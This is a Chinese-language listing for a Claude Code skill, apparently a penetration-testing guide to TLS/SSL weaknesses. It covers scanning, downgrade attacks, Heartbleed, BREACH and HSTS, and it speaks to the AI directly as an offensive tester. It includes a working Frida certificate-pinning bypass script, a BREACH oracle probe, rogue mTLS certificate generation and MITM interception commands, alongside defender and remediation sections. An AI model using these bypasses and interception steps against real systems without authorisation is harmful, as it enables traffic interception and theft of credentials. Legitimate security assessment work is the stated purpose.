关于 offensive-tls-attacks
面向安全评估人员的 TLS/SSL 检查指南,涵盖网络服务与应用。内容包括协议弱点、证书验证、移动端证书固定和部署问题,并提供扫描与测试流程。
主要功能
- 01TLS 协议与密码套件枚举
- 02已知 TLS 漏洞检查
- 03证书验证评估
- 04移动端证书固定绕过
- 05HSTS 与 TLS 1.3 风险检查
适用场景
- 01审计服务器的 TLS 配置
- 02测试应用的证书验证缺陷
- 03在评估中拦截移动应用流量
- 04记录 TLS 发现并确定修复优先级
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-tls-attacks安装后在 Claude Code 中输入/offensive-tls-attacks确认已加载。
详细介绍
TLS/SSL 攻击与错误配置利用
你正在对目标基础设施执行 TLS/SSL 攻击性分析。本技能涵盖传输层安全的完整攻击面——从协议级加密弱点,到实现漏洞、证书验证失效和部署错误配置。你会将每次 TLS 握手视为枚举机会,并将每条证书链视为需要探测的信任边界。
快速工作流
- 枚举目标的 TLS 配置——支持的协议、密码套件、证书链和扩展。
- 识别已弃用的协议(SSLv2、SSLv3、TLS 1.0、TLS 1.1)和弱密码套件(export、NULL、RC4、DES、3DES)。
- 检查已知的协议漏洞——POODLE、DROWN、FREAK、BEAST、Heartbleed。
- 测试压缩预言机攻击暴露情况——TLS 层的 CRIME、HTTP 层的 BREACH。
- 验证证书处理——证书链验证、主机名匹配、固定验证执行情况、吊销检查。
- 评估 TLS 1.3 特性——0-RTT 重放、降级哨兵是否存在、支持的组。
- 对于移动端目标,绕过证书固定并拦截流量。
- 记录发现,并附上协议证据和修复优先级。
TLS 枚举与扫描
每次 TLS 测试都应从全面枚举开始。使用 testssl.sh 作为主要工具——它除了 bash 和 OpenSSL 外不需要其他依赖,并能生成涵盖协议、密码套件、漏洞和证书详情的详细输出。
# Full scan with all checks, output to JSON and HTML
testssl.sh --jsonfile results.json --htmlfile results.html \
--ip one --sneaky --warnings batch \
target.com:443
# Quick protocol and cipher check
testssl.sh --protocols --ciphers target.com:443
# Check only for specific vulnerabilities
testssl.sh --heartbleed --ccs-injection --ticketbleed \
--robot --poodle --beast --crime --breach --drown --freak \
--logjam --sweet32 target.com:443
# Scan multiple targets from a file
testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json
使用 sslyze 进行 Python 集成扫描和 CI/CD 流水线集成:
# Standard scan with all plugins
sslyze --regular target.com
# JSON output for programmatic processing
sslyze --json_out results.json target.com
# Check specific vulnerability classes
sslyze --heartbleed --openssl_ccs --robot target.com
# Scan with client certificate authentication
sslyze --cert /path/to/client.pem --key /path/to/client.key target.com
使用 sslscan 快速枚举密码套件,并使用 tlsx 大规模高速探测:
# sslscan quick enumeration
sslscan --no-fallback target.com:443
# tlsx high-speed probing across many hosts
cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json
# tlsx specific checks
cat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs
cat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0
cat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues
协议降级攻击
协议降级攻击会迫使 TLS 连接协商使用存在已知漏洞的较弱协议版本。这些攻击利用了 TLS 内置的向后兼容回退机制。
**POODLE(CVE-2014-3566)**利用 SSLv3 CBC 模式中不确定的填充方式。与 TLS 不同,SSLv3 不规定填充字节的值,接收方也不会验证这些值——只有填充长度字节会被检查。这样一来,主动攻击者平均每 256 次请求就能解密一个明文字节。
# Check if the target supports SSLv3
testssl.sh --poodle target.com:443
openssl s_client -ssl3 -connect target.com:443
# TLS POODLE variant: check for CBC padding oracle in TLS implementations
testssl.sh --poodle target.com:443
# Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation
**DROWN(CVE-2016-0800)**是一种跨协议攻击。如果某个服务器(或任何共享相同 RSA 密钥的服务器)支持 SSLv2,攻击者就能解密被动捕获的 TLS 会话。该攻击利用 SSLv2 导出密码套件握手,改造了 Bleichenbacher RSA 填充预言机攻击。
# Check for SSLv2 support (direct DROWN)
testssl.sh --drown target.com:443
# Check with OpenSSL (requires a build with SSLv2 enabled)
openssl s_client -ssl2 -connect target.com:443
# General DROWN also applies when another server shares the same RSA key
# Extract the certificate and search for key reuse across infrastructure
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -noout -modulus | md5sum
# Compare this modulus hash across all servers in scope
**FREAK(CVE-2015-0204)**会强制降级到使用 512 位 RSA 密钥的 RSA_EXPORT 密码套件,这些密钥可在普通硬件上数小时内分解:
# Check for export cipher support
testssl.sh --freak target.com:443
sslyze --openssl_ccs target.com
# Enumerate export ciphers directly
openssl s_client -cipher EXPORT -connect target.com:443
nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export
BEAST 攻击
BEAST(CVE-2011-3389)利用了 TLS 1.0 CBC 模式中可预测的 IV。在 TLS 1.0 中,每条记录的 IV 都是前一条记录的最后一个密文块,因此攻击者可以通过观察密文得知该值。结合选择明文能力(通过浏览器中的 JavaScript 实现),即可逐块解密目标字节。
# Check for BEAST vulnerability
testssl.sh --beast target.com:443
# Verify TLS 1.0 with CBC ciphers is available
openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443
BEAST 要求攻击者向同一 TLS 连接注入选择明文(通常通过相邻浏览器上下文中的 JavaScript 实现)。现代缓解措施包括 1/n-1 记录拆分(所有当前浏览器均已实现),以及升级到使用显式 IV 的 TLS 1.2+。
确认这一条件:如果 openssl s_client -tls1 -cipher 'ALL:!eNULL' 协商出任何 CBC 密码套件,则该连接易受 BEAST 攻击。交叉比对服务器的 JA3S 指纹,以确认是否协商了 TLS 1.0。
CRIME 和 BREACH
CRIME (CVE-2012-4929) 利用 TLS 层压缩。当启用 TLS 压缩时,能够向请求中注入任意明文并观察压缩后密文长度的攻击者,可以逐字节恢复秘密值(例如会话 Cookie)。
# Check for TLS compression
testssl.sh --crime target.com:443
openssl s_client -connect target.com:443 | grep -i compression
# "Compression: NONE" means not vulnerable to CRIME
BREACH 利用 HTTP 层压缩(gzip/deflate)。由于 HTTP 压缩几乎普遍启用,因此它比 CRIME 更常见。此攻击可恢复同时出现在 HTTP 响应正文和攻击者反射输入中的秘密信息。
# Check for BREACH preconditions
testssl.sh --breach target.com:443
# Manual check: verify HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ | \
grep -i content-encoding
# "Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerable
import requests
import string
def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
"""
BREACH oracle: measure compressed response length to recover secrets.
Requires: HTTP compression enabled, secret in response body,
attacker can inject chosen text that is reflected in the same response.
"""
results = {}
for c in charset:
candidate = known_prefix + c
# Inject candidate via a reflected parameter
resp = requests.get(url, params={"search": candidate},
headers={"Accept-Encoding": "gzip"})
# The response object's content is decompressed; use raw socket
# or measure the actual wire bytes for a real attack.
# Here we demonstrate the concept:
results[c] = len(resp.content)
# The correct byte compresses better (shorter response)
best = min(results, key=results.get)
return known_prefix + best
# BREACH mitigations: disable HTTP compression for pages containing secrets,
# add random padding to responses, use per-request CSRF tokens,
# separate secret-bearing responses from reflected-input responses
Heartbleed (CVE-2014-0160)
Heartbleed 是 OpenSSL TLS 心跳扩展中的缓冲区越界读取漏洞(影响 OpenSSL 1.0.1 至 1.0.1f)。格式错误的心跳请求会导致服务端每次请求最多返回 64KB 的进程内存,可能暴露私钥、会话 Cookie、凭据和其他敏感数据。
# Test for Heartbleed
testssl.sh --heartbleed target.com:443
sslyze --heartbleed target.com
# Nmap script
nmap -p 443 --script ssl-heartbleed target.com
# Manual test with OpenSSL
# This requires a version of OpenSSL that supports the heartbeat extension
openssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \
grep -i heartbeat
该攻击会发送一个声明了较大负载长度(最多 16384 字节)、但实际负载仅包含一个字节的 TLS 心跳请求。存在漏洞的 OpenSSL 版本会从进程内存中返回声明的长度。每个请求最多会泄露 64KB;重复请求可能暴露不同内存区域中的私钥、会话令牌和凭据。使用 Nmap 脚本或 testssl.sh 可可靠地检测漏洞;如需手动利用,现有 PoC 脚本(heartbleed.py 的各种变体)可处理原始 TLS 握手和心跳帧封装。
证书验证绕过
未能正确验证 TLS 证书的应用会带来拦截机会。常见缺陷包括禁用验证、缺少主机名检查、接受自签名证书,以及证书链验证不完整。
# Detect applications with disabled certificate verification
# These patterns indicate vulnerable implementations:
# Python requests - disabled verification
# requests.get(url, verify=False)
# Python urllib3 - disabled warnings indicate suppressed verification
# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Node.js - disabled TLS rejection
# process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"
# Java - TrustAllCerts pattern
# TrustManager[] trustAllCerts = new TrustManager[] {
# new X509TrustManager() {
# public void checkClientTrusted(...) {}
# public void checkServerTrusted(...) {}
# }
# };
# cURL - insecure flag
# curl -k / curl --insecure
评估期间,请在源代码和配置文件中搜索以下模式:
# Search for disabled certificate verification in codebases
grep -rn "verify=False" --include="*.py" .
grep -rn "CERT_NONE" --include="*.py" .
grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include="*.js" .
grep -rn "InsecureTrustManagerFactory" --include="*.java" .
grep -rn "TrustAllCerts\|trustAllCerts\|ALLOW_ALL" --include="*.java" .
grep -rn "AllowAllHostnameVerifier\|NoopHostnameVerifier" --include="*.java" .
grep -rn "ServerCertificateValidationCallback" --include="*.cs" .
grep -rn "InsecureSkipVerify.*true" --include="*.go" .
证书固定绕过
实施证书固定的移动应用需要主动绕过技术来拦截流量。可使用 Frida 和 Objection 进行运行时插桩。
# Objection: automated pinning bypass for Android and iOS
# Launch the target application with Objection
objection -g com.target.app explore
# Inside the Objection REPL:
# Disable SSL pinning (covers common pinning libraries)
android sslpinning disable
# or for iOS:
ios sslpinning disable
# Frida: custom pinning bypass scripts
# Android: bypass OkHttp CertificatePinner
frida -U -f com.target.app -l bypass_pinning.js --no-pause
# Universal Android SSL pinning bypass with Frida
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida
// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries
Java.perform(function() {
// Bypass OkHttp3 CertificatePinner
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List')
.implementation = function(hostname, peerCertificates) {
console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
return;
};
} catch (e) {
console.log('[-] OkHttp3 not found');
}
// Bypass custom TrustManager
try {
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var TrustManager = Java.registerClass({
name: 'com.bypass.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var TrustManagers = [TrustManager.$new()];
var sslContext = SSLContext.getInstance('TLS');
sslContext.init(null, TrustManagers, null);
console.log('[+] Custom TrustManager installed');
} catch (e) {
console.log('[-] TrustManager bypass failed: ' + e);
}
// Bypass Android WebView SSL errors
try {
var WebViewClient = Java.use('android.webkit.WebViewClient');
WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
console.log('[+] WebView SSL error bypassed');
handler.proceed();
};
} catch (e) {
console.log('[-] WebViewClient bypass not applicable');
}
});
# For rooted Android devices: install a system CA certificate
# Convert your proxy CA to Android format
openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1
# Rename to <hash>.0
cp proxy_ca.pem 9a5ba575.0
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
HSTS 绕过和 TLS 降级剥离
HSTS 可阻止从 HTTPS 降级到 HTTP,但其在初始建立和作用范围方面存在固有弱点。
# Check HSTS configuration
curl -sI https://target.com | grep -i strict-transport-security
# Verify HSTS preload status
# Check https://hstspreload.org/?domain=target.com
# sslstrip2 (Leonardo Nve's HSTS bypass) works by:
# 1. Stripping HTTPS links on first visit (before HSTS is cached)
# 2. Replacing domains with similar subdomains not covered by HSTS
# 3. Proxying the real HTTPS connection on the attacker side
# mitmproxy with sslstrip mode
mitmproxy --mode transparent --ssl-insecure --set block_global=false
HSTS 绕过途径:
- 首次访问:HSTS 遵循首次使用时建立信任的原则。如果用户从未访问过该站点,且该站点不在预加载列表中,则初始 HTTP 请求可能会被拦截。
- 子域作用范围:经常未设置
includeSubDomains。即使target.com启用了 HSTS,也可以通过http://sub.target.com发起攻击。 - NTP 操纵:HSTS 条目会过期。如果能操纵客户端时钟(通过本地网络上的 NTP 欺骗),缓存的 HSTS 策略就可能提前过期。
- 隐私浏览:部分浏览器不会在隐私浏览会话之间保留 HSTS 状态。
TLS 1.3 -- 0-RTT 重放
TLS 1.3 消除了大多数旧式攻击,但引入了 0-RTT(早期数据),且明确不提供重放保护。对非幂等操作接受 0-RTT 数据的服务端容易受到重放攻击。
# Check if the server accepts 0-RTT early data
openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem
openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \
-early_data request.txt
# testssl.sh checks for 0-RTT
testssl.sh --grease target.com:443
上文的两步 openssl 测试可作出明确判断:如果第二次连接成功,且服务端处理了早期数据文件,就说明服务端接受 0-RTT。网络攻击者可以捕获合法连接中的 ClientHello 和早期数据,并原样重放。应将目标设为资金转账、账户修改、订单提交等非幂等端点,因为重放可能造成实质影响。服务端应按照 RFC 8446 第 8 节实施反重放机制,或对所有会改变状态的操作完全拒绝 0-RTT。
mTLS 攻击
相互 TLS 身份验证会在客户端证书处理方面带来额外的攻击面。
# Enumerate mTLS requirements
openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"
# Test with a stolen or self-signed client certificate
openssl s_client -connect target.com:443 \
-cert client.pem -key client.key -CAfile ca.pem
# Generate a rogue client certificate matching the expected CN/OU
openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \
-days 365 -nodes \
-subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"
# Check if the server validates the issuing CA or just the certificate fields
openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key
针对 mTLS 的攻击向量:
- 缺少 CA 验证:服务器接受任何客户端证书,不论其签发者是谁。
- CA 信任范围过宽:服务器信任某个也会向无关方签发证书的 CA。
- 客户端证书被盗:从密钥库、环境变量、CI/CD 流水线或容器映像中提取客户端证书。
- 证书中继:将客户端证书质询转发给合法客户端,并中继其响应。
证书透明度监控
CT 日志是侦察的宝库。每个公开受信任的证书都会被记录,从而暴露子域名、内部主机名和基础设施变更。
# Query CT logs via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
domains = set()
for entry in data:
name = entry.get('name_value', '')
for d in name.split('\n'):
domains.add(d.strip())
for d in sorted(domains):
print(d)
"
# Monitor for new certificates in real-time
# Use certstream for live CT log monitoring
pip install certstream
# certstream_monitor.py
python3 -c "
import certstream
def callback(message, context):
if message['message_type'] == 'certificate_update':
all_domains = message['data']['leaf_cert']['all_domains']
for domain in all_domains:
if 'target.com' in domain:
print(f'New cert: {domain}')
certstream.listen_for_events(callback, url='wss://certstream.calidog.io/')
"
# Enumerate subdomains from CT logs using subfinder or amass
subfinder -d target.com -sources crtsh
amass enum -d target.com -src -ip
检测/防御者视角
防御者应监控以下 TLS 攻击指标:
- 降级探测:具有现代客户端指纹的连接尝试使用 SSLv2、SSLv3 或 TLS 1.0。客户端宣告使用现代 TLS 协议栈,却随后回退到 SSLv3,这种情况很可疑。记录并针对 ClientHello 能力与协商版本之间的协议版本不匹配发出警报。
- Heartbleed 扫描:声明的负载长度大于实际负载的心跳请求。针对这种格式错误的心跳模式已有 IDS 特征。监控来自同一来源的重复心跳请求。
- 压缩预言机探测:针对同一端点快速连续发送请求,逐步改变参数,同时精确测量响应大小。这种模式表明有人试图利用 BREACH 或 CRIME。
- 证书固定绕过:对于移动应用后端,监控已知应用版本发起的连接是否呈现异常的 TLS 客户端指纹(JA3/JA4 哈希)——这表明运行时已被插桩。
- 0-RTT 重放:监控应用日志中重复的非幂等操作。实现服务端重放缓存(依据 RFC 8446 第 8 节的防重放机制),并拒绝将 0-RTT 数据用于会改变状态的操作。
- CT 监控:防御者应主动监控 CT 日志,查找为其域名签发的未经授权的证书。这既能检测 CA 被攻陷,也能检测域名验证攻击。
修复优先级:彻底禁用 SSLv2、SSLv3、TLS 1.0 和 TLS 1.1;移除所有导出、NULL、RC4、DES 和 3DES 密码套件;部署包含 includeSubDomains 和 preload 的 HSTS;禁用 TLS 压缩;优先使用 TLS 1.3;拒绝非幂等端点的 0-RTT 提前数据;实施带备用固定值和报告功能的证书固定;启用 OCSP 装订。
安全评估速查表
| 漏洞 | 工具 / 检查 | 指标 |
|---|---|---|
| POODLE(SSLv3) | testssl.sh --poodle | 接受使用 CBC 密码套件的 SSLv3 |
| DROWN(SSLv2) | testssl.sh --drown | 支持 SSLv2,或与 SSLv2 主机共用 RSA 密钥 |
| FREAK(导出密码套件) | testssl.sh --freak | 接受 RSA_EXPORT 密码套件 |
| BEAST(TLS 1.0 CBC) | testssl.sh --beast | 协商使用 CBC 密码套件的 TLS 1.0 |
| CRIME | testssl.sh --crime | 启用了 TLS 层压缩 |
| BREACH | Content-Encoding: gzip + 反射 | HTTP 压缩 + 秘密 + 反射输入 |
| Heartbleed | testssl.sh --heartbleed | OpenSSL 1.0.1 至 1.0.1f,且启用了 heartbeat 扩展 |
| 证书验证 | grep -rn verify=False | 源代码中禁用了验证 |
| 证书固定(移动端) | objection / Frida | 绕过固定后可通过代理拦截 |
| 缺少 HSTS | curl -sI + 标头检查 | 没有 Strict-Transport-Security 标头 |
| 0-RTT 重放 | openssl s_client -early_data | 服务端接受并处理早期数据 |
| mTLS 弱点 | openssl s_client -cert | 服务端接受恶意客户端证书 |
协议版本风险摘要:
- SSLv2:已彻底失效(DROWN)。必须在所有地方禁用。
- SSLv3:已失效(POODLE)。必须在所有地方禁用。
- TLS 1.0:较弱(BEAST,已被 RFC 8996 弃用)。应禁用。
- TLS 1.1:没有已知的协议攻击,但已被 RFC 8996 弃用。应禁用。
- TLS 1.2:正确选择密码套件(仅限 AEAD 密码套件)时是安全的。
- TLS 1.3:安全。对于非幂等操作,需注意 0-RTT 重放。
关键参考资料
- Moller, B. 等人。“This POODLE Bites: Exploiting the SSL 3.0 Fallback.” Google Security Advisory,2014 年。
- Aviram, N. 等人。“DROWN: Breaking TLS using SSLv2.” USENIX Security 2016。
- Beurdouche, B. 等人。“A Messy State of the Union: Taming the Composite State Machines of TLS.” IEEE S&P 2015。
- Duong, T. 和 Rizzo, J. “Here Come the XOR Ninjas.”(BEAST)Ekoparty 2011。
- Rizzo, J. 和 Duong, T. “The CRIME Attack.” Ekoparty 2012。
- Gluck, Y. 等人。“BREACH: Reviving the CRIME Attack.” Black Hat USA 2013。
- CVE-2014-0160:OpenSSL Heartbleed。https://heartbleed.com
- RFC 8446:传输层安全(TLS)协议 1.3 版,第 8 节(0-RTT 和防重放)。
- RFC 8996:弃用 TLS 1.0 和 TLS 1.1。
- CWE-295:证书验证不当。
- CWE-319:敏感信息明文传输。
- CWE-757:协商期间选择安全性较低的算法。
- testssl.sh:https://testssl.sh
- sslyze:https://github.com/nabla-c0d3/sslyze
- Frida:https://frida.re
- Objection:https://github.com/sensepost/objection